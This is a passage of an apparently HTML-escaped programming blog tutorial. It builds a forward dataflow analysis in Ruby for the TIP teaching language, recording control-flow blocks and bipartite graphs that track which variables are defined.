&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;names&lt;/span&gt; xs; xs&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { @vars&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;it&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; } &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;; &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Record body into a new block (one level deeper) that falls through to join&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;arm&lt;/span&gt; join, body, label &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;nil&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; @current &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Block&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    record label, identity &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; label
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @depth &lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    body&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;call
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @depth &lt;span style=&#34;color:#f92672&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @current&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;succ &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; join &lt;span style=&#34;color:#75715e&#34;&gt;# the arm falls through to the join&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    first
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Build a graph of data flow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;graph&lt;/span&gt; effects
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    graph &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Bipartite&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(@vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;length, @vars&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;length)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    graph&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) &lt;span style=&#34;color:#75715e&#34;&gt;# * always holds&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    effects&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;each { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;from, to&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; graph&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;set @index&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;from&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, @index&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;to&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    graph
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Let&amp;rsquo;s use the &lt;code&gt;Program&lt;/code&gt; class to define all of the data flow rules for the sample TIP program:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Create a new program with the variables a, b, and c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;Program&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;new(&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;var a, b, c;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a = input;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# b is unchanged, so its previous value flows to itself&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# same for c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# a gets an assignment here, so it has no record in the graph&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;b = a + c;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# a is unchanged, so its previous value flows to itself&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# same for c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# the value of a flows in to b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# the value of c also flows in to b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# The if statement doesn&amp;#39;t have any impact on &amp;#34;undefinedness&amp;#34; of a variable,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# so we pass the &amp;#34;identity&amp;#34; effect.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record_if(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;if (input)&amp;#34;&lt;/span&gt;, prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;identity, &lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Encode the true arm of the if statement&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;c = 1;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# a is unchanged, so its previous value flows to itself&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# same for b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;# c gets an assignment here, so it has no record in the graph&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Calculate the predecessors for each block.  We need to know the predecessors&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# because the output of a block&amp;#39;s predecessors is the input to the block we&amp;#39;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# processing&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;finish
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First we define a new program class.
Then we ask the program class to record a source line of TIP along with the data flow rules for that line of code.&lt;/p&gt;
&lt;p&gt;I added lots of comments to explain the code, but let&amp;rsquo;s revisit one excerpt just to make double sure:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;record(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;var a, b, c;&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:a&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to a&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:b&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to b&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;:*&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;:c&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;, &lt;span style=&#34;color:#75715e&#34;&gt;# uninitialized flows in to c&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here we&amp;rsquo;re asking the program to record the TIP source code &lt;code&gt;var a, b, c;&lt;/code&gt;, and the data flow rule for this line is that &amp;ldquo;uninitialized&amp;rdquo; flows into &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt;.
This is exactly the same as the bipartite graph we created above, but this time we&amp;rsquo;re just recording that graph alongside the TIP source code.&lt;/p&gt;
&lt;p&gt;After we&amp;rsquo;ve recorded all of the rules, we call &lt;code&gt;finish&lt;/code&gt; on the program so that it can calculate and set predecessor edges.&lt;/p&gt;
&lt;h2 id=&#34;analyzing-our-graphs&#34;&gt;Analyzing our graphs&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;ve got multiple graphs going on here.
We&amp;rsquo;ve got a control flow graph that represents the program overall, and a bipartite graph representing data flow at each line.&lt;/p&gt;
&lt;p&gt;Our goal is to walk the CFG, and for each block calculate variable definedness at each line.
The input state for each block is the union of the output state for that block&amp;rsquo;s predecessors.&lt;/p&gt;
&lt;p&gt;In other words, in order to analyze the whole CFG, we only really need to record the final state at the end of each block.&lt;/p&gt;
&lt;p&gt;Also, each calculation cares what happened &lt;em&gt;in the past&lt;/em&gt;.
For example, the definedness of the variables at line 2 care about what happened at line 1.
This means we have a &lt;em&gt;forward dataflow analysis&lt;/em&gt;.
Any time the facts we derive depend on what happened in the past, it means we need to &lt;em&gt;move forward&lt;/em&gt; through the code.&lt;/p&gt;
&lt;p&gt;So we define a &lt;code&gt;ForwardAnalysis&lt;/code&gt; strategy class that lets us analyze the CFG by moving forward through the code:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ForwardAnalysis&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;attr_reader&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;:out&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;initialize&lt;/span&gt; prog
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @prog &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; prog
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @out &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; {}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Get a list of blocks we should process.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;blocks&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    @prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;rpo
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Return the input facts for a block.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;input_for&lt;/span&gt; block
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;equal? @prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;root
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      @prog&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;start
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#75715e&#34;&gt;# get the _output_ from our predecessors and OR them together&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      block&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;preds&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;map { &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;b&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; @out&lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;b&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;[]&lt;/span&gt; }&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;reduce(&lt;span style=&#34;color:#e6db74&#34;&gt;:|&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sort
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Record facts for block based on input to the block.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Returns true if we learned something new, otherwise false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;record_output&lt;/span&gt; block, input
